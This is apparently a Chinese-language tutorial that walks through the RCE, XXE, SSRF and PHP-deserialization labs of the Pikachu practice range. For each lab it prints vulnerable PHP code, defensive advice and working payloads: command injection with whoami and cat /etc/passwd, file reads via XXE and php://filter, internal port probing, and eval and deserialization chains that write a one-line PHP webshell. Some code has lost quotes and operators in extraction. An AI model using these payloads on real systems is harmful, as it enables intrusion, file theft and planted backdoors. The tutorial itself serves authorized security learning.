Pikachu靶场从入门到精通(五):RCE、XXE、SSRF与反序列化漏洞实战

📅 2026/7/2 2:38:19
Pikachu靶场从入门到精通(五):RCE、XXE、SSRF与反序列化漏洞实战
摘要本篇是Pikachu靶场系列教程的第五篇也是漏洞类型最为“硬核”的一篇将带领大家攻克四个高危级别的Web安全漏洞模块RCE远程命令/代码执行、XXEXML外部实体注入、SSRF服务端请求伪造和PHP反序列化漏洞。RCE漏洞允许攻击者直接在目标服务器上执行任意系统命令或代码是危害等级最高的漏洞之一。XXE漏洞利用XML解析器对外部实体的不当处理可导致任意文件读取、内网探测等严重后果。SSRF漏洞则是利用服务器作为跳板让服务端以自身身份向内部网络发起请求从而绕过防火墙访问内网资源。而PHP反序列化漏洞则通过构造恶意序列化数据在反序列化时触发任意代码执行。这四个漏洞的共同特点是危害极大且原理较为抽象对初学者来说理解门槛较高。本篇将从最基础的概念讲起对每个模块按照关卡介绍→攻击思路→实操步骤→代码解析→防御方案的结构逐一通关力求让零基础的小白也能真正理解这些高危漏洞的本质。一、RCE远程命令/代码执行1.1 基础知识什么是RCERCERemote Code/Command Execution即远程命令/代码执行漏洞是一种允许攻击者通过网络远程在目标服务器上执行任意系统命令或代码的高危安全漏洞。RCE的两种类型类型说明示例命令执行Command Execution执行操作系统命令ping 127.0.0.1; whoami代码执行Code Execution执行编程语言代码eval($_POST[cmd])RCE产生的原因应用系统从设计上需要给用户提供某些远程命令操作的接口——比如路由器、防火墙等设备的Web管理界面通常会提供ping操作功能。用户从Web界面输入目标IP后台对该IP进行ping测试并返回结果。但如果开发者没有做严格的安全控制攻击者就可以通过该接口提交“意想不到”的命令让后台执行从而控制整个服务器。命令拼接常用符号在命令执行漏洞中攻击者常使用以下符号来拼接恶意命令符号名称作用后台运行符并行执行不依赖前一条命令的成败逻辑与只有前一条命令成功时才执行后一条\|管道符将前一条命令的输出作为后一条的输入\|\|逻辑或前一条命令失败时才执行后一条;命令分隔符按顺序执行多条命令无论前一条是否成功1.2 exec“ping”——命令执行关卡介绍这是RCE模块的第一关。页面提供了一个输入框让用户输入IP地址后台会对该IP执行ping命令并返回结果。攻击思路程序直接将用户输入拼接到ping命令中执行没有做任何过滤。攻击者可以在IP地址后面拼接额外的系统命令利用、、|、||、;等符号实现命令注入。实操步骤第一步进入关卡访问RCE的第一关页面看到如下界面页面有一个输入框提示“请输入IP地址”。第二步正常测试输入一个正常的IP地址如127.0.0.1提交后可以看到ping命令的执行结果。第三步尝试命令注入在IP地址后面拼接系统命令使用符号127.0.0.1 whoami 或者使用符号 127.0.0.1 whoami 或者使用;符号 127.0.0.1; whoami第四步观察执行结果如果漏洞存在页面不仅会显示ping的结果还会显示whoami命令的执行结果当前系统用户名。第五步执行更多恶意命令尝试读取敏感文件在Linux系统中 127.0.0.1 cat /etc/passwd 在Windows系统中 127.0.0.1 type C:\windows\win.ini代码解析// rce_ping.php if (isset($_POST[submit]) $_POST[ipaddress] ! null) { $ip $_POST[ipaddress]; // 直接将用户输入拼接到系统命令中 $result shell_exec(ping . $ip); echo $result; }漏洞原因使用shell_exec()执行系统命令用户输入直接拼接到命令中没有任何过滤或转义处理防御方案输入过滤严格过滤用户输入只允许IP地址格式如使用正则表达式/^(?:\d{1,3}\.){3}\d{1,3}$/使用 escapeshellcmd()对用户输入进行转义处理使用 escapeshellarg()将用户输入作为单个参数传递白名单机制限制允许执行的命令列表避免使用系统命令尽量使用编程语言内置函数替代系统命令调用1.3 exec“eval”——代码执行关卡介绍第二关展示了一个更直接的代码执行漏洞。页面接收用户输入然后使用PHP的eval()函数将输入内容作为PHP代码执行。攻击思路eval()函数会将字符串当作PHP代码执行。攻击者可以输入任意PHP代码服务器会直接执行。例如输入phpinfo();可以查看服务器配置输入system(whoami);可以执行系统命令。实操步骤第一步进入关卡访问RCE的第二关页面第二步测试eval执行在输入框中输入简单的PHP代码phpinfo();提交后页面会显示PHP的配置信息说明代码成功执行。第三步执行系统命令输入系统命令执行代码system(dir);第四步获取Webshell输入一句话木马在服务器上创建后门文件file_put_contents(shell.php, ?php eval($_POST[cmd]); ?);执行后服务器根目录下会生成shell.php文件攻击者即可通过蚁剑等工具连接。代码解析// rce_eval.php $html ; if (isset($_POST[submit]) $_POST[txt] ! null) { // 直接使用eval执行用户输入的PHP代码 if (!eval($_POST[txt])) { $html . p你喜欢的字符还挺奇怪的!/p; } }漏洞原因使用了危险的eval()函数用户输入未经任何过滤直接作为代码执行eval()是PHP中最危险的函数之一防御方案禁止使用eval()永远不要在用户可控的输入上使用eval()代码审计定期检查代码中是否存在危险函数输入验证对用户输入进行严格的白名单验证使用更安全的替代方案如使用json_decode()替代eval()处理数据禁用危险函数在php.ini中使用disable_functions禁用eval()、system()、exec()等函数二、XXEXML外部实体注入2.1 基础知识什么是XMLXMLExtensible Markup Language可扩展标记语言是一种用于存储和传输数据的标记语言。它类似于HTML但主要关注数据的结构化描述而非显示。什么是XXEXXE全称XML External Entity Injection即XML外部实体注入漏洞。当应用程序解析用户可控的XML输入时如果XML解析器允许加载外部实体且没有做严格的安全控制攻击者就可以构造恶意的外部实体让服务器读取本地文件、发起内网请求甚至执行远程代码。XML实体Entity在XML中实体类似于“变量”可以用于在文档中引用重复使用的文本。例如!DOCTYPE foo [ !ENTITY xxe 这是一个实体 ] fooxxe;/foo当XML解析器处理时xxe;会被替换为“这是一个实体”。外部实体External Entity外部实体允许从外部资源如文件或URL获取内容!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo如果解析器允许外部实体就会读取/etc/passwd文件的内容并替换xxe;。XXE的危害读取任意系统文件如/etc/passwd、配置文件等内网主机扫描和端口探测远程代码执行配合其他漏洞XXE可利用的协议不同语言支持的协议不同libxml2file、http、ftpPHPfile、http、ftp、php、compress.zlib、compress.bzip2、data、glob、pharJavahttp、https、ftp、file、jar、netdoc、mailto、gopher2.2 XXE漏洞实战关卡介绍Pikachu的XXE关卡模拟了一个接收XML数据的API接口。页面提示“这是一个接收xml数据的api”。攻击思路攻击者构造包含恶意外部实体的XML数据提交给服务器利用file://协议读取服务器上的敏感文件。实操步骤第一步进入关卡访问XXE关卡页面可以看到一个文本框用于输入XML数据。第二步测试XML解析输入一个简单的XML测试服务器是否正常解析?xml version1.0? !DOCTYPE foo [ !ENTITY xxe XXE测试 ] fooxxe;/foo如果页面显示“XXE测试”说明服务器确实在解析XML且支持实体引用。第三步读取系统文件利用外部实体读取Windows系统文件?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///c:/windows/win.ini ] fooxxe;/foo在Linux系统中?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo第四步观察结果如果漏洞存在页面会显示win.ini或/etc/passwd的文件内容。第五步读取PHP源码利用php://协议读取PHP文件源码?xml version1.0? !DOCTYPE foo [ !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resourcexxe.php ] fooxxe;/foo返回的内容是Base64编码的解码后即可获得PHP源码。代码解析// xxe_1.php $data file_get_contents(php://input); $dom new DOMDocument(); // 加载XML并解析没有禁用外部实体 $dom-loadXML($data); $result simplexml_import_dom($dom); echo $result-name;漏洞原因DOMDocument默认允许外部实体解析没有调用libxml_disable_entity_loader(true)禁用外部实体直接使用用户输入的XML数据进行解析防御方案禁用外部实体在PHP中使用libxml_disable_entity_loader(true);使用安全的解析器配置$dom new DOMDocument(); $dom-loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);过滤用户输入对XML输入进行严格校验使用白名单限制允许的XML结构和内容升级解析器确保使用最新版本的XML解析库三、SSRF服务端请求伪造3.1 基础知识什么是SSRFSSRFServer-Side Request Forgery服务端请求伪造是一种通过服务端发起恶意请求的安全漏洞。攻击者利用服务器未充分验证的输入参数诱导系统向内部网络或受限资源发起请求。SSRF的攻击原理攻击者向存在SSRF漏洞的服务器A发送构造好的请求服务器A提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制于是服务器A会以自身身份按照攻击者构造的请求向内网服务器C发送请求。内网服务器C将数据返回给服务器A服务器A再把数据转发给攻击者。攻击者就这样利用服务器A作为跳板实现了对原本无法直接访问的内网资源的访问。SSRF的两个关键条件服务端具备对外发起请求的功能如文件下载、API调用等未对用户输入的目标地址进行严格校验SSRF的危害未授权访问内网服务如数据库、中间件等内网端口扫描和服务探测读取内网敏感信息绕过防火墙访问受限资源3.2 SSRFCURL关卡介绍第一关使用PHP的cURL函数发起请求。页面接收一个URL参数后台使用curl_init()和curl_exec()访问该URL并返回结果。攻击思路攻击者修改URL参数让服务器访问内网资源。例如将URL改为内网IP地址如127.0.0.1、192.168.x.x等服务器会以自身身份去访问这些内网地址并返回结果。实操步骤第一步进入关卡访问SSRF的CURL关卡第二步正常测试输入一个正常的URL如https://www.baidu.com页面会显示百度首页的HTML内容。第三步探测内网尝试访问本地的Web服务http://127.0.0.1:80/如果服务器返回了页面内容说明内网服务可以被访问。第四步端口扫描通过观察不同端口的响应时间和返回内容判断内网开放了哪些端口http://127.0.0.1:22/ // SSH端口 http://127.0.0.1:3306/ // MySQL端口 http://127.0.0.1:6379/ // Redis端口第五步读取本地文件利用file://协议读取本地文件file:///c:/windows/win.ini代码解析// ssrf_curl.php if (isset($_GET[url]) $_GET[url] ! null) { $URL $_GET[url]; // 用户输入的URL $CH curl_init($URL); // 初始化cURL会话 curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE); $RES curl_exec($CH); // 执行请求 curl_close($CH); echo $RES; }漏洞原因用户输入的URL直接被curl_init()使用没有对URL进行任何过滤或白名单校验允许访问任意协议http、https、file等防御方案白名单过滤限制服务器只能访问特定的域名或IP解析IP并过滤内网地址将域名解析为IP禁止访问内网段127.x.x.x、10.x.x.x、172.16-31.x.x、192.168.x.x禁用不必要的协议只允许http/https禁用file、ftp等协议禁用重定向防止通过重定向绕过限制限制响应大小防止大流量攻击3.3 SSRFfile_get_contents关卡介绍第二关使用PHP的file_get_contents()函数发起请求。该函数不仅可以读取本地文件还可以通过HTTP、FTP等协议读取远程文件。攻击思路与CURL关卡类似攻击者修改URL参数让服务器访问内网资源或读取本地文件。file_get_contents()同样支持file://协议。实操步骤第一步进入关卡访问SSRF的file_get_contents关卡第二步正常测试输入正常URL如https://www.baidu.com。第三步读取本地文件利用file://协议读取本地文件file:///etc/passwd 或Windows系统 file:///c:/windows/win.ini第四步内网探测与CURL关卡类似探测内网服务http://127.0.0.1/sqli-labs/第五步PHP伪协议利用利用php://协议读取PHP源码php://filter/readconvert.base64-encode/resourcessrf_fgc.php代码解析// ssrf_fgc.php if (isset($_GET[url]) $_GET[url] ! null) { $URL $_GET[url]; // 直接使用file_get_contents获取用户指定URL的内容 $content file_get_contents($URL); echo $content; }漏洞原因用户输入的URL直接被file_get_contents()使用没有对URL进行任何过滤file_get_contents()支持多种协议防御方案白名单限制目标地址解析并过滤内网IP禁用危险协议严格验证用户输入四、PHP反序列化漏洞4.1 基础知识什么是序列化序列化Serialization是将对象的状态转换成一组可以存储、传输或持久化的数据的过程。在PHP中serialize()函数负责将变量对象、数组等转换为字符串。class S { public $test pikachu; } $s new S(); echo serialize($s); // 输出: O:1:S:1:{s:4:test;s:7:pikachu;}序列化字符串的结构解析部分含义示例中的值O对象Object类型标识O1类名的长度1S类名S1属性数量1s:4:test属性名字符串长度4tests:7:pikachu属性值字符串长度7pikachu什么是反序列化反序列化Unserialization是将序列化后的字符串恢复成原始对象的过程。在PHP中unserialize()函数负责这个操作。什么是PHP反序列化漏洞当应用程序接收并反序列化不可信数据且未对反序列化过程进行有效控制和验证时攻击者可以精心构造恶意的序列化数据在反序列化时触发任意代码执行、远程命令执行等操作。魔术方法Magic MethodsPHP中的魔术方法在特定条件下会自动调用是反序列化漏洞利用的关键魔术方法触发时机__construct()创建对象时调用__destruct()对象销毁时调用__wakeup()反序列化时自动调用__sleep()序列化时自动调用__toString()对象被当作字符串使用时调用__call()调用不存在的方法时调用攻击者正是利用这些魔术方法在反序列化过程中的自动触发构造恶意对象来实现代码执行。4.2 PHP反序列化实战关卡介绍Pikachu的反序列化关卡展示了一个典型的反序列化漏洞场景。页面接收一个经过序列化的字符串使用unserialize()进行反序列化。攻击思路攻击者需要分析目标代码中存在的类及其魔术方法构造一个包含恶意代码的序列化字符串提交给服务器进行反序列化触发魔术方法执行恶意代码实操步骤第一步进入关卡访问PHP反序列化关卡页面显示一个输入框。第二步查看源码查看源码发现存在一个S类class S{ var $test pikachu; function __construct(){ echo $this-test; } }__construct()当一个对象创建时被调用。第三步构造序列化数据正常的序列化字符串是O:1:S:1:{s:4:test;s:7:pikachu;}攻击者可以将$test的值改为恶意的PHP代码O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;}第四步提交攻击payload将构造的序列化字符串提交到输入框中。当服务器进行反序列化时对象被创建时触发__construct()方法弹出 alert 弹窗。第五步真正的攻击利用要让代码执行需要构造更精巧的利用链。如果目标代码中存在如下类class Evil { var $cmd whoami; function __destruct() { system($this-cmd); } }攻击者可以构造O:4:Evil:1:{s:3:cmd;s:6:whoami;}提交后__destruct()会执行system(whoami)。第六步获取Webshellclass Shell { var $code file_put_contents(shell.php, ?php eval($_POST[\cmd\]); ?);; function __destruct() { eval($this-code); } }对应的序列化字符串O:5:Shell:1:{s:4:code;s:67:file_put_contents(shell.php, ?php eval($_POST[\cmd\]); ?);;}代码解析class S{ var $test pikachu; function __construct(){ echo $this-test; } } //O:1:S:1:{s:4:test;s:29:scriptalert(xss)/script;} $html; if(isset($_POST[o])){ $s $_POST[o]; if(!$unser unserialize($s)){ $html.p大兄弟,来点劲爆点儿的!/p; }else{ $html.p{$unser-test}/p; } }漏洞原因使用unserialize()处理用户可控的输入没有使用allowed_classes限制允许反序列化的类类中存在可利用的魔术方法__construct防御方案禁止反序列化不可信数据永远不要对用户输入使用unserialize()使用allowed_classes参数限制允许反序列化的类$data unserialize($input, [allowed_classes [SafeClass1, SafeClass2]]);使用JSON替代序列化用json_encode()/json_decode()替代serialize()/unserialize()输入验证对序列化数据进行严格的格式和内容校验代码审计定期检查代码中是否存在危险的魔术方法和反序列化调用总结本篇主要学习 RCE、XXE、SSRF、PHP 反序列化四类高危 Web 漏洞该部分技术原理偏深在 Web 安全学习中尤为重要。其中 RCE 分为命令执行、代码执行两类用户可控输入直接拼接进系统命令或代码从而执行恶意指令可通过禁用高危函数、输入过滤、escapeshellcmd () 转义进行防护XXE 漏洞依靠 XML 解析的外部实体功能借助 file 协议读取服务器文件、http 协议探测内网防御时调用 libxml_disable_entity_loader (true) 关闭外部实体解析即可SSRF 依托 curl、file‑get‑contents 等服务端请求函数把服务器当作跳板访问内网主机、扫描端口防御手段为配置访问白名单、拦截内网 IP、封禁危险协议PHP 反序列化漏洞则是程序直接将用户传入的不可控数据带入 unserialize () 函数结合__destruct、__wakeup 等魔术方法触发恶意代码执行防御上尽量不对外部数据做反序列化操作还能通过 allowed_classes 参数限定可实例化的类。对比四类漏洞RCE 和 PHP 反序列化危害等级最高攻击入口与利用方式各不相同。在学习过程中我们不能只单纯套用 Payload要吃透底层原理、实操靶场复现漏洞通过代码审计挖掘漏洞成因同时建立防御思想将不同漏洞进行组合串联为后续复合型渗透攻击打下基础。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。